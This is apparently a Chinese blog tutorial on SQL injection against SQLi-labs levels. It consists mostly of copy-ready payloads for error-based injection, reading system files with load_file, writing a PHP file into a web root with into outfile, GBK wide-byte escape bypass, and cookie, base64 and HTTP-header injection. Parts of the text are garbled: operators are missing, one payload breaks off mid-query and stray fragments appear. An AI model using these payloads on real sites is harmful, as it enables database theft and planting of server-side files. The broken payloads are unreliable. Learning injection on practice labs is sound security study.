标签:字符编码 写入文件 数据库名 因此 base agent 浏览器 sans on()
报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。
@group by (分类聚合)重复键冲突【随机能出现查询结果】
[?id=33 and (select 1 from (select count(),concat((select version() from information_schema.tables limit 0,1),floor(rand()2))x from information_schema.tables group by x)a) --+]
[?id=33 union select 1,2,concat(left(rand(),3),‘^‘,(select version()),‘^‘)a,count(),5,6,7,8,9,10,11, 12, 13,14,15 from information_schema.tables group by a --+]
[?id=33 and (select 1 from (select count(
2、账密同理
前提条件:我们也可以利用SQL 注入漏洞读写文件。但是读写文件需要一定的条件
2、当前用户具有文件权限
[select File_priv from mysql.user where user="root" and host="localhost"]查询语句(判断当前用户是否具有权限) ?
3、知道要写入目标文件的绝对路径
? C:\\Windows\\System32\\drivers\etc\hosts 【双右斜线】(因为\是转义字符,所以要加多一个\) ?
C:/Windows/System32/drivers/etc/hostsa 【单左斜线】
读取文件操作
【?id=-1‘ union select 1, load_file(‘C:\Windows\System32\drivers\etc\hosts‘), 3 --+ ]】
load_file(‘‘) 读取文件函数
写入文件操作
【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,11,12,13,14,15 into outfile ‘E:\phpstudy\www\1.php‘;】
【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,‘<?php phpinfo();?>‘,12,13,14,15 into outfile ‘E:\phpstudy\www\2.php‘;】
into outfile ‘xxxxx\xxxx\’ 写入文件
宽字节注入
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。
使用[?id=1‘]进行测试的时候,发现提交的单引号会被转移[‘]。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。 ?
我们通过阅读32 关的源码,发现几句非常意思的代码,如下: ? 此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。 ?
GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。 ?
转移字符\ 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。 ?
如果我们提交这样的参数[?id=1000%df‘ union select 1,2,3 --+],就可以使用联合查询进行注入了。【0xdf5c 就是一个汉字"運"】
Cookie注入 ?
Cookie 注入的注入参数需要通过Cookie 提交,可以通过[document.cookie] 在控制台完成对浏览器Cookie 的读写。
? 我们使用SQLi-labs 第20 关来说明Cookie 注入问题。来到less-20,在控制台输入
? [document.cookie="uname=Dumb‘ and extractvalue(1,concat(0x7e,database(),0x7e))#"] ? (用BP抓包,报错注入来实现也可以)
base64 注入 ?
我们以SQLI-labs 第22关来说明base64 注入的问题。 ?
base64 注入也是比较简单的,只不过将注入字段经过base64 编码。经过测试,发现22 关属于Cookie 型的base64 注入。
我们可以使用报错注入手法,payload ? [document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"] ?
在控制台输入 [document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]
HTTP 头部注入 ?
http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等。 ?
@User-Agent 注入 ? 如SQLi-labs 第18 关。
? payload ? [User-Agent:hacker‘ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1‘=‘1] ?
@Referer 注入 ? 第19 关,注入字段在Referer 中 ?
[hacker‘ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1‘=‘1]
如果有错误的地方,就在下面留言给我,我看到后会及时更正的啦~谢谢各位
标签:字符编码 写入文件 数据库名 因此 base agent 浏览器 sans on()
原文地址:https://www.cnblogs.com/tsimfeiwan/p/11708165.html